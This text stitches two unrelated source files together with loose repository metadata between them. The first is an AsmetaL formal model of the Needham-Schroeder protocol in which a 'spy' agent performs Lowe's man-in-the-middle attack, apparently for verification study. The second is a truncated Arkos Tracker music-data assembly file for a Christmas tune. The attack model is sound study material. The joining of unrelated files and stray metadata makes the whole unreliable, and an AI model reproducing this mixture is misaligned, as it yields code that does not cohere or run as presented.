asm NeedhamSchroederWithSpy //Modello preso dall'articolo "A Realistic Environment for Crypto-Protocol Analyses by ASMs" //I passi del protocollo sono: //1. A -> B : {Na, A}Kb //2. B -> A : {Na, Nb}Ka //3. A -> B : {Nb}Kb //versione soggetta all'attacco di Lowe //versione con spy // Attacco // A -> Spy: A.Spy.{Na, A}Kspy (with recipent(Na) = Spy) // Spy -> B: Spy.B.{Na, A}Kb // B -> A: B.A.{Na, Nb}Ka (with recipent(Na) = A) // A -> Spy: A.Spy.{Nb}Kspy //Let A,B \notin COMPR. If A starts a run with Spy, then there exists a nonce Nb associated by B with A, //such that Nb is not associated to a run between A and B, and Nb is compromised. import ../StandardLibrary signature: //Network model domains dynamic abstract domain Nonce // NONCE abstract domain PubKey // PUBKEY abstract domain PriKey // PRIKEY dynamic abstract domain Message // MESSAGE dynamic abstract domain Traffic // TRAFFIC //NAK: Nonce, Agent, Key //NNK: Nonce, Nonce, Key //NK: Nonce, Key enum domain MessageType = {NAK | NNK | NK} // dominio per NeedhamSchroeder domain GoodAgent subsetof Agent domain BadAgent subsetof Agent //Network model functions dynamic monitored nonce: Prod(Agent, Agent) -> Nonce // nonce dynamic controlled genNonces: Agent -> Powerset(Nonce) // Nonce dynamic controlled recipient: Nonce -> Agent // recipient static inv: PubKey -> PriKey // inv static pubkey: Agent -> PubKey // pubkey static prikey: Agent -> PriKey // prikey dynamic controlled val: Traffic -> Prod(Agent, Agent, Message) //val derived cont: Traffic -> Message //cont //NeedhamSchroeder //dynamic monitored wishToInitiate: Prod(Agent, Agent) -> Boolean dynamic monitored wishToInitiate: Agent -> Boolean dynamic monitored wishToInitiate: Prod(Agent, Agent) -> Boolean //dynamic monitored receive: Prod(Agent, Traffic) -> Boolean dynamic controlled message: Message -> Any // usata solo per completezza dynamic controlled messageType: Message -> MessageType // tipo di messaggio dynamic controlled messageNAK: Message -> Prod(Nonce, Agent, PubKey) dynamic controlled messageNNK: Message -> Prod(Nonce, Nonce, PubKey) dynamic controlled messageNK: Message -> Prod(Nonce, PubKey) dynamic controlled readTraffic: Traffic -> Boolean // indica se un elemento di Traffic e' stato letto (dal destinatario) dynamic controlled spyOutMess: String // ci sono tre funzioni di decrittazione, una per ogi tipo di messaggio derived decryptNAK: Prod(Message, PriKey) -> Prod(Nonce, Agent) derived decryptNNK: Prod(Message, PriKey) -> Prod(Nonce, Nonce) derived decryptNK: Prod(Message, PriKey) -> Nonce static agentA: GoodAgent static agentB: GoodAgent static spy: BadAgent static pubKeyA: PubKey static pubKeyB: PubKey static pubKeySpy: PubKey static priKeyA: PriKey static priKeyB: PriKey static priKeySpy: PriKey //static fake: BadAgent -> GoodAgent definitions: /*function fake($ba in BadAgent) = if($ba=spy) then agentB endif*/ function pubkey($a in Agent) = switch($a) case agentA: pubKeyA case agentB: pubKeyB case spy: pubKeySpy endswitch function prikey($a in Agent) = switch($a) case agentA: priKeyA case agentB: priKeyB case spy: priKeySpy endswitch function inv($pubKey in PubKey) = if(pubkey(self) = $pubKey) then switch($pubKey) case pubKeyA: priKeyA case pubKeyB: priKeyB case pubKeySpy: priKeySpy endswitch endif //cont(Sender.Recipient.msg) = msg function cont($t in Traffic) = third(val($t)) //un messaggio puo' essere decrittato se c'e' corrispondenza tra la chiave pubblica e la chiave //privata. Tale corrispondenza viene testata tramite la funzione inv che associa ogni chiave pubblica //alla corrispondente chiave privata. function decryptNAK($m in Message, $k in PriKey) = let ($message = messageNAK($m)) in if( isDef($message) ) then //potrebbe essere arrivato un altro tipo di messaggio if( inv(third($message)) = $k ) then (first($message), second($message)) endif endif endlet function decryptNNK($m in Message, $k in PriKey) = let ($message = messageNNK($m)) in if( isDef($message) ) then //potrebbe essere arrivato un altro tipo di messaggio if( inv(third($message)) = $k ) then (first($message), second($message)) endif endif endlet function decryptNK($m in Message, $k in PriKey) = let ($message = messageNK($m)) in if( isDef($message) ) then //potrebbe essere arrivato un altro tipo di messaggio if( inv(second(messageNK($m))) = $k ) then first($message) endif endif endlet // clear _.Self.msg // la cancellazione di un elemento del traffico dovrebbe essere, secondo l'articolo, // val($t) := undef (la valutazione dell'elemento del traffico). Poiche' tale soluzione // crea dei problemi in altre regole, e' stata inserita una funzione readTraffic($t) che vale true // solo quando l'elemento e' stato letto rule r_clear($t in Traffic) = //val($t) := undef readTraffic($t) := true rule r_send($s in Agent, $r in Agent, $m in Message) = extend Traffic with $t do // creazione di un nuovo elemento di traffico par val($t) := ($s, $r, $m) readTraffic($t) := false // l'elemento di traffico non e' ancora stato letto dal receiver endpar /* rule r1 if wishToInitiate(Self, X) then let NewNonce = nonce (Self, X) do in-parallel recipient (NewNonce ):= X add NewNonce in Nonce (Self ) send Self.X.{NewNonce, Self }Kx end-par end-let end-if */ rule r_initSession = if(wishToInitiate(self)) then //l'agente vuole iniziare una sessione con qualcuno //sceglie un agente in Agent. Potrebbe anche essere la spia. choose $x in Agent with $x != self and wishToInitiate(self, $x) and //A.B.{N, A}kb implies not(wishToInitiate(A, B)) (forall $t in Traffic with ( (first(val($t))=self and second(val($t))=$x) implies readTraffic($t) )) do extend Nonce with $NewNonce do // creazione di un nuovo nonce par recipient($NewNonce) := $x genNonces(self) := including(genNonces(self), $NewNonce) extend Message with $message do // creazione di un nuovo messaggio par message($message) := ($NewNonce, self, pubkey($x)) messageType($message) := NAK messageNAK($message) := ($NewNonce, self, pubkey($x)) r_send[self, $x, $message] endpar endpar endif /* rule r2 if(receive(Self, _.Self.msg) and decrypt (msg, K-1self) = {Nonce0, X}) then let NewNonce = nonce (Self, X) do in-parallel recipient (NewNonce ):= X add NewNonce in Nonce(Self) send Self.X.{Nonce0, NewNonce}Kx clear _.Self.msg end-par end-let end-if */ rule r_receiveNAK = // la ricezione del messaggio e' equivalente alla scelta di un messaggio del traffico che non e' ancora stato letto // e il cui destinatario e' l'agente corrente (self). // In questo caso siamo interessati alla ricezione dei messaggi NAK. choose $t in Traffic with not(readTraffic($t)) and second(val($t)) = self and messageType(cont($t)) = NAK do let ($decrMessage = decryptNAK(cont($t), prikey(self))) in let($nonce0 = first($decrMessage), $x = second($decrMessage)) in extend Nonce with $NewNonce do // creazione di un nuovo nonce par recipient($NewNonce):= $x genNonces(self) := including(genNonces(self), $NewNonce) extend Message with $message do // creazione di un nuovo messaggio par message($message) := ($nonce0, $NewNonce, pubkey($x)) messageType($message) := NNK messageNNK($message) := ($nonce0, $NewNonce, pubkey($x)) r_send[self, $x, $message] endpar r_clear[$t] endpar endlet endlet /* rule r3 if(receive(Self, _.Self.msg) and decrypt(msg, K-1self) = {Nonce1, Nonce2}) then if(Nonce1 \in Nonce(Self)) then let X = recipient (Nonce1 ) send Self.X.{Nonce2}Kx end-let clear _.Self.msg end-if end-if */ rule r_receiveNNK = // la ricezione del messaggio e' equivalente alla scelta di un messaggio del traffico che non e' ancora stato letto // e il cui destinatario e' l'agente corrente (self). // In questo caso siamo interessati alla ricezione dei messaggi NNK. choose $t in Traffic with not(readTraffic($t)) and second(val($t)) = self and messageType(cont($t)) = NNK do let ($decrMessage = decryptNNK(cont($t), prikey(self))) in let($nonce1 = first($decrMessage), $nonce2 = second($decrMessage)) in if( contains(genNonces(self), $nonce1) ) then // controlla di aver generato lui la $nonce1. // L'attacco di Lowe si basa sul fatto che questo controllo e' troppo debole // perche' nel messaggio NNK non c'e' l'informazione del mittente. par let ($x = recipient($nonce1)) in // legge il recipient del messaggio (quello a cui lui aveva mandato il messaggio NAK con la $nonce1) extend Message with $message do par message($message) := ($nonce2, pubkey($x)) messageType($message) := NK messageNK($message) := ($nonce2, pubkey($x)) r_send[self, $x, $message] endpar endlet r_clear[$t] endpar endif endlet endlet /* rule r4 if (receive (Self, _.Self.msg ) and decrypt (msg, K-1self) = {Nonce0 }) then if Nonce0 2 Nonce (Self ) then clear .Self.msg end-if end-if */ rule r_receiveNK = // la ricezione del messaggio e' equivalente alla scelta di un messaggio del traffico che non e' ancora stato letto // e il cui destinatario e' l'agente corrente (self). // In questo caso siamo interessati alla ricezione dei messaggi NK. choose $t in Traffic with not(readTraffic($t)) and second(val($t)) = self and messageType(cont($t)) = NK do let ($decrMessage = decryptNK(cont($t), prikey(self))) in let($nonce0 = $decrMessage) in if (contains(genNonces(self), $nonce0) ) then r_clear[$t] endif endlet endlet rule r_initSessionSpy = skip // la spia non inizia sessioni. In teoria potrebbe anche farlo e comportarsi come un agente onesto. rule r_receiveNAKspy = // la spia legge un messaggio NAK indirizzato a lei choose $t in Traffic with not(readTraffic($t)) and second(val($t)) = self and messageType(cont($t)) = NAK do let ($decrMessage = decryptNAK(cont($t), prikey(self))) in let($nonce0 = first($decrMessage), $x = second($decrMessage)) in par extend Message with $message do choose $dest in GoodAgent with $dest != $x do // sceglie un altro agente a cui girare il messaggio par message($message) := ($nonce0, $x, pubkey($dest)) messageType($message) := NAK messageNAK($message) := ($nonce0, $x, pubkey($dest)) r_send[self, $dest, $message] //$x, $dest, $message secondo me endpar r_clear[$t] endpar endlet endlet rule r_receiveNNKspy = skip //non riceve questo messaggio. Questo messaggio viene ricevuto dall'agente che aveva iniziato la sessione. rule r_receiveNKspy = // la spia legge un messaggio NK indirizzato a lei. // Questo e' possibile perche' l'agente A che aveva iniziato la sessione con la spia spy, al momento di mandare il // messaggio NK, lo manda all'agente associato alla nonce che aveva generato (spy) e non controlla che il // messaggio NNK provenga veramente da spy. // In questo modo spy puo' leggere la nonce Nb generata da B. choose $t in Traffic with not(readTraffic($t)) and second(val($t)) = self and messageType(cont($t)) = NK do let ($decrMessage = decryptNK(cont($t), prikey(self))) in let($nonce0 = $decrMessage) in par genNonces(self) := including(genNonces(self), $nonce0) // la spia puo' leggere il $nonce generato dall'altro agente r_clear[$t] endpar endlet endlet rule r_SpyIllegal = par r_initSessionSpy[] r_receiveNAKspy[] r_receiveNNKspy[] r_receiveNKspy[] endpar rule r_agentRule = par // devono essere in sequenza per evitare update inconsistenti su genNonces(self). Infatti // in tutte e due le regole e' possibile che ci sia una scrittura su genNonces(self): capita // quando un agente crea una nuova sessione e risponde con un messaggio NNK ad un messaggio // NAK ricevuto precedentemente. seq r_initSession[] r_receiveNAK[] endseq r_receiveNNK[] r_receiveNK[] endpar main rule r_Main = par forall $agent in GoodAgent with true do program($agent) program(spy) endpar default init s0: function genNonces($a in Agent) = {} agent GoodAgent: r_agentRule[] agent BadAgent: r_SpyIllegal[]
34.955801
140
0.678995
9670f5286f488f38945664a5bce90c1b1ec73018
39,786
asm
Assembly
data/music.asm
BlockoS/up-xmas2019
b580ac1edccad183f0131070feb4cd732471356d
[ "BSD-3-Clause" ]
null
null
null
data/music.asm
BlockoS/up-xmas2019
b580ac1edccad183f0131070feb4cd732471356d
[ "BSD-3-Clause" ]
null
null
null
data/music.asm
BlockoS/up-xmas2019
b580ac1edccad183f0131070feb4cd732471356d
[ "BSD-3-Clause" ]
null
null
null
; Song Moozinade de Noel in Lightweight format (V1). ; Generated by Arkos Tracker 2. MoozinadedeNoel_Start MoozinadedeNoel_StartDisarkGenerateExternalLabel MoozinadedeNoel_DisarkByteRegionStart0 db "ATLW" ; Format marker (LightWeight). db 1 ; Format version. MoozinadedeNoel_DisarkByteRegionEnd0 MoozinadedeNoel_DisarkPointerRegionStart1 dw MoozinadedeNoel_FmInstrumentTable dw MoozinadedeNoel_ArpeggioTable dw MoozinadedeNoel_PitchTable ; Table of the Subsongs. dw MoozinadedeNoel_Subsong0 MoozinadedeNoel_DisarkPointerRegionEnd1 ; The Arpeggio table. MoozinadedeNoel_ArpeggioTable MoozinadedeNoel_DisarkWordRegionStart2 dw 0 MoozinadedeNoel_DisarkWordRegionEnd2 MoozinadedeNoel_DisarkPointerRegionStart3 MoozinadedeNoel_DisarkPointerRegionEnd3 ; The Pitch table. MoozinadedeNoel_PitchTable MoozinadedeNoel_DisarkWordRegionStart4 dw 0 MoozinadedeNoel_DisarkWordRegionEnd4 MoozinadedeNoel_DisarkPointerRegionStart5 MoozinadedeNoel_DisarkPointerRegionEnd5 ; The FM Instrument table. MoozinadedeNoel_FmInstrumentTable MoozinadedeNoel_DisarkPointerRegionStart6 dw MoozinadedeNoel_FmInstrument0 dw MoozinadedeNoel_FmInstrument1 dw MoozinadedeNoel_FmInstrument2 MoozinadedeNoel_DisarkPointerRegionEnd6 MoozinadedeNoel_DisarkByteRegionStart7 MoozinadedeNoel_FmInstrument0 db 255 ; Speed. MoozinadedeNoel_FmInstrument0Loop db 0 ; Volume: 0. db 4 ; End the instrument. MoozinadedeNoel_DisarkPointerRegionStart8 dw MoozinadedeNoel_FmInstrument0Loop ; Loops. MoozinadedeNoel_DisarkPointerRegionEnd8 MoozinadedeNoel_FmInstrument1 db 0 ; Speed. db 61 ; Volume: 15. db 57 ; Volume: 14. db 53 ; Volume: 13. db 49 ; Volume: 12. db 45 ; Volume: 11. db 41 ; Volume: 10. db 37 ; Volume: 9. db 33 ; Volume: 8. db 29 ; Volume: 7. db 25 ; Volume: 6. db 21 ; Volume: 5. db 17 ; Volume: 4. db 13 ; Volume: 3. db 9 ; Volume: 2. db 5 ; Volume: 1. db 4 ; End the instrument. MoozinadedeNoel_DisarkPointerRegionStart9 dw MoozinadedeNoel_FmInstrument0Loop ; Loop to silence. MoozinadedeNoel_DisarkPointerRegionEnd9 MoozinadedeNoel_FmInstrument2 db 0 ; Speed. db 189 ; Volume: 15. db 25 ; Arpeggio: 12. db 11 ; Noise: 11. db 185 ; Volume: 14. db 27 ; Arpeggio: 13. db 10 ; Noise: 10. db 181 ; Volume: 13. db 33 ; Arpeggio: 16. db 9 ; Noise: 9. db 181 ; Volume: 13. db 19 ; Arpeggio: 9. db 8 ; Noise: 8. db 177 ; Volume: 12. db 1 ; Arpeggio: 0. db 7 ; Noise: 7. db 169 ; Volume: 10. db 19 ; Arpeggio: 9. db 6 ; Noise: 6. db 161 ; Volume: 8. db 29 ; Arpeggio: 14. db 5 ; Noise: 5. db 153 ; Volume: 6. db 1 ; Arpeggio: 0. db 4 ; Noise: 4. db 145 ; Volume: 4. db 1 ; Arpeggio: 0. db 3 ; Noise: 3. db 141 ; Volume: 3. db 1 ; Arpeggio: 0. db 2 ; Noise: 2. db 4 ; End the instrument. MoozinadedeNoel_DisarkPointerRegionStart10 dw MoozinadedeNoel_FmInstrument0Loop ; Loop to silence. MoozinadedeNoel_DisarkPointerRegionEnd10 MoozinadedeNoel_DisarkByteRegionEnd7 MoozinadedeNoel_Subsong0DisarkByteRegionStart0 ; Song Moozinade de Noel, Subsong 0 - Main - in Lightweight format (V1). ; Generated by Arkos Tracker 2. MoozinadedeNoel_Subsong0 db 4 ; Initial speed. ; The Linker. ; Pattern 0 db 5 ; State byte. db 63 ; New height. MoozinadedeNoel_Subsong0DisarkPointerRegionStart1 dw MoozinadedeNoel_Subsong0_Track0, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd1 ; The tracks. ; Pattern 1 db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart2 dw MoozinadedeNoel_Subsong0_Track3, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd2 ; The tracks. ; Pattern 2 MoozinadedeNoel_Subsong0loop db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart3 dw MoozinadedeNoel_Subsong0_Track2, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd3 ; The tracks. ; Pattern 3 db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart4 dw MoozinadedeNoel_Subsong0_Track4, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd4 ; The tracks. ; Pattern 4 db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart5 dw MoozinadedeNoel_Subsong0_Track5, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd5 ; The tracks. ; Pattern 5 db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart6 dw MoozinadedeNoel_Subsong0_Track6, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd6 ; The tracks. ; Pattern 6 db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart7 dw MoozinadedeNoel_Subsong0_Track5, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd7 ; The tracks. ; Pattern 7 db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart8 dw MoozinadedeNoel_Subsong0_Track7, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd8 ; The tracks. ; Pattern 8 db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart9 dw MoozinadedeNoel_Subsong0_Track8, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd9 ; The tracks. ; Pattern 9 db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart10 dw MoozinadedeNoel_Subsong0_Track9, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd10 ; The tracks. ; Pattern 10 db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart11 dw MoozinadedeNoel_Subsong0_Track8, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd11 ; The tracks. ; Pattern 11 db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart12 dw MoozinadedeNoel_Subsong0_Track10, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd12 ; The tracks. ; Pattern 12 db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart13 dw MoozinadedeNoel_Subsong0_Track5, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd13 ; The tracks. ; Pattern 13 db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart14 dw MoozinadedeNoel_Subsong0_Track6, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd14 ; The tracks. ; Pattern 14 db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart15 dw MoozinadedeNoel_Subsong0_Track5, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd15 ; The tracks. ; Pattern 15 db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart16 dw MoozinadedeNoel_Subsong0_Track7, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd16 ; The tracks. ; Pattern 16 db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart17 dw MoozinadedeNoel_Subsong0_Track11, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd17 ; The tracks. ; Pattern 17 db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart18 dw MoozinadedeNoel_Subsong0_Track12, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd18 ; The tracks. ; Pattern 18 db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart19 dw MoozinadedeNoel_Subsong0_Track11, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd19 ; The tracks. ; Pattern 19 db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart20 dw MoozinadedeNoel_Subsong0_Track13, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd20 ; The tracks. ; Pattern 20 db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart21 dw MoozinadedeNoel_Subsong0_Track14, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd21 ; The tracks. ; Pattern 21 db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart22 dw MoozinadedeNoel_Subsong0_Track15, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd22 ; The tracks. ; Pattern 22 db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart23 dw MoozinadedeNoel_Subsong0_Track16, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd23 ; The tracks. ; Pattern 23 db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart24 dw MoozinadedeNoel_Subsong0_Track17, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd24 ; The tracks. ; Pattern 24 db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart25 dw MoozinadedeNoel_Subsong0_Track2, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd25 ; The tracks. ; Pattern 25 db 1 ; State byte. MoozinadedeNoel_Subsong0DisarkPointerRegionStart26 dw MoozinadedeNoel_Subsong0_Track4, MoozinadedeNoel_Subsong0_Track1, MoozinadedeNoel_Subsong0_Track1 MoozinadedeNoel_Subsong0DisarkPointerRegionEnd26 ; The tracks. db 0 ; End of the subsong. MoozinadedeNoel_Subsong0DisarkPointerRegionStart27 dw MoozinadedeNoel_Subsong0loop MoozinadedeNoel_Subsong0DisarkPointerRegionEnd27 ; The Tracks. MoozinadedeNoel_Subsong0_Track0 db 130 ; Note: 26. db 2 ; New instrument: 1. db 190 ; Short wait: 3. db 2 ; Note: 26. db 62 ; Short wait: 1. db 2 ; Note: 26. db 190 ; Short wait: 3. db 2 ; Note: 26. db 190 ; Short wait: 3. db 0 ; Note: 24. db 190 ; Short wait: 3. db 0 ; Note: 24. db 190 ; Short wait: 3. db 0 ; Note: 24. db 62 ; Short wait: 1. db 0 ; Note: 24. db 190 ; Short wait: 3. db 0 ; Note: 24. db 190 ; Short wait: 3. db 63, 21 ; Escaped note: 21. db 190 ; Short wait: 3. db 63, 21 ; Escaped note: 21. db 62 ; Short wait: 1. db 63, 21 ; Escaped note: 21. db 190 ; Short wait: 3. db 63, 21 ; Escaped note: 21. db 190 ; Short wait: 3. db 63, 22 ; Escaped note: 22. db 190 ; Short wait: 3. db 63, 22 ; Escaped note: 22. db 190 ; Short wait: 3. db 63, 22 ; Escaped note: 22. db 190 ; Short wait: 3. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 0 ; Note: 24. db 190 ; Short wait: 3. MoozinadedeNoel_Subsong0_Track1 db 61, 63 ; Long wait: 64. MoozinadedeNoel_Subsong0_Track2 db 130 ; Note: 26. db 2 ; New instrument: 1. db 190 ; Short wait: 3. db 2 ; Note: 26. db 62 ; Short wait: 1. db 2 ; Note: 26. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 130 ; Note: 26. db 2 ; New instrument: 1. db 190 ; Short wait: 3. db 0 ; Note: 24. db 190 ; Short wait: 3. db 0 ; Note: 24. db 190 ; Short wait: 3. db 0 ; Note: 24. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 190 ; Short wait: 3. db 128 ; Note: 24. db 2 ; New instrument: 1. db 190 ; Short wait: 3. db 63, 21 ; Escaped note: 21. db 190 ; Short wait: 3. db 63, 21 ; Escaped note: 21. db 62 ; Short wait: 1. db 63, 21 ; Escaped note: 21. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 191, 21 ; Escaped note: 21. db 2 ; New instrument: 1. db 190 ; Short wait: 3. db 63, 22 ; Escaped note: 22. db 190 ; Short wait: 3. db 63, 22 ; Escaped note: 22. db 190 ; Short wait: 3. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 7 ; Note: 31. db 62 ; Short wait: 1. db 128 ; Note: 24. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. MoozinadedeNoel_Subsong0_Track3 db 130 ; Note: 26. db 2 ; New instrument: 1. db 190 ; Short wait: 3. db 2 ; Note: 26. db 62 ; Short wait: 1. db 2 ; Note: 26. db 190 ; Short wait: 3. db 2 ; Note: 26. db 190 ; Short wait: 3. db 5 ; Note: 29. db 190 ; Short wait: 3. db 5 ; Note: 29. db 190 ; Short wait: 3. db 5 ; Note: 29. db 62 ; Short wait: 1. db 5 ; Note: 29. db 190 ; Short wait: 3. db 5 ; Note: 29. db 190 ; Short wait: 3. db 7 ; Note: 31. db 190 ; Short wait: 3. db 7 ; Note: 31. db 62 ; Short wait: 1. db 7 ; Note: 31. db 190 ; Short wait: 3. db 7 ; Note: 31. db 190 ; Short wait: 3. db 63, 22 ; Escaped note: 22. db 190 ; Short wait: 3. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 191, 19 ; Escaped note: 19. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 191, 22 ; Escaped note: 22. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 191, 19 ; Escaped note: 19. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 191, 22 ; Escaped note: 22. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 0 ; Note: 24. db 62 ; Short wait: 1. db 191, 19 ; Escaped note: 19. db 4 ; New instrument: 2. db 63, 19 ; Escaped note: 19. MoozinadedeNoel_Subsong0_Track4 db 130 ; Note: 26. db 2 ; New instrument: 1. db 190 ; Short wait: 3. db 2 ; Note: 26. db 62 ; Short wait: 1. db 2 ; Note: 26. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 130 ; Note: 26. db 2 ; New instrument: 1. db 190 ; Short wait: 3. db 5 ; Note: 29. db 190 ; Short wait: 3. db 5 ; Note: 29. db 190 ; Short wait: 3. db 5 ; Note: 29. db 62 ; Short wait: 1. db 191, 19 ; Escaped note: 19. db 4 ; New instrument: 2. db 190 ; Short wait: 3. db 133 ; Note: 29. db 2 ; New instrument: 1. db 190 ; Short wait: 3. db 7 ; Note: 31. db 190 ; Short wait: 3. db 7 ; Note: 31. db 62 ; Short wait: 1. db 7 ; Note: 31. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 135 ; Note: 31. db 2 ; New instrument: 1. db 190 ; Short wait: 3. db 63, 22 ; Escaped note: 22. db 190 ; Short wait: 3. db 63, 22 ; Escaped note: 22. db 190 ; Short wait: 3. db 63, 22 ; Escaped note: 22. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 7 ; Note: 31. db 62 ; Short wait: 1. db 128 ; Note: 24. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 7 ; Note: 31. MoozinadedeNoel_Subsong0_Track5 db 130 ; Note: 26. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 26 ; Note: 50. db 29 ; Note: 53. db 2 ; Note: 26. db 62 ; Short wait: 1. db 2 ; Note: 26. db 21 ; Note: 45. db 135 ; Note: 31. db 4 ; New instrument: 2. db 152 ; Note: 48. db 2 ; New instrument: 1. db 2 ; Note: 26. db 62 ; Short wait: 1. db 26 ; Note: 50. db 26 ; Note: 50. db 0 ; Note: 24. db 62 ; Short wait: 1. db 24 ; Note: 48. db 19 ; Note: 43. db 0 ; Note: 24. db 62 ; Short wait: 1. db 21 ; Note: 45. db 62 ; Short wait: 1. db 0 ; Note: 24. db 62 ; Short wait: 1. db 135 ; Note: 31. db 4 ; New instrument: 2. db 62 ; Short wait: 1. db 152 ; Note: 48. db 2 ; New instrument: 1. db 62 ; Short wait: 1. db 0 ; Note: 24. db 62 ; Short wait: 1. db 26 ; Note: 50. db 62 ; Short wait: 1. db 63, 21 ; Escaped note: 21. db 62 ; Short wait: 1. db 31 ; Note: 55. db 29 ; Note: 53. db 63, 21 ; Escaped note: 21. db 62 ; Short wait: 1. db 63, 21 ; Escaped note: 21. db 21 ; Note: 45. db 135 ; Note: 31. db 4 ; New instrument: 2. db 152 ; Note: 48. db 2 ; New instrument: 1. db 63, 21 ; Escaped note: 21. db 62 ; Short wait: 1. db 26 ; Note: 50. db 62 ; 